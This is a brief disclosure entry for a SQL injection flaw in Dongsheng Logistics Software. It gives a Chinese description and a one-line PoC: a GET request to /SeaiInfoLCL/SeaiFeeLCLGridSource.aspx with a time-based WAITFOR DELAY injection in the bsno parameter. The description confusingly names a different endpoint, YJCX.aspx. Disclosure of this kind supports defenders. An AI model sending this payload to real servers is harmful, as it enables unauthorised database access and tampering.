东胜物流软件 /SeaiInfoLCL/SeaiFeeLCLGridSource.aspx SQL 注入漏洞

2026-01-30 东胜物流软件 PoC Public

Description

东胜物流软件是一款致力于为客户提供IT支撑的 SOP，帮助客户大幅提高工作效率，降低各个环节潜在风险的物流软件。东胜物流软件 YJCX.aspx 接口存在SQL注入漏洞。恶意攻击者可以利用该漏洞执行恶意的注入语句，获取敏感数据或篡改数据库

PoC

GET /SeaiInfoLCL/SeaiFeeLCLGridSource.aspx?bsno=1%27%20WAITFOR%20DELAY%20%270:0:3%27--%20axgC&type=1&read=1 HTTP/1.1

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates#Dongsheng Logistics Software /SeaiInfoLCL/SeaiFeeLCLGridSource.aspx SQL Injection Vulnerability

References

Related Vulnerabilities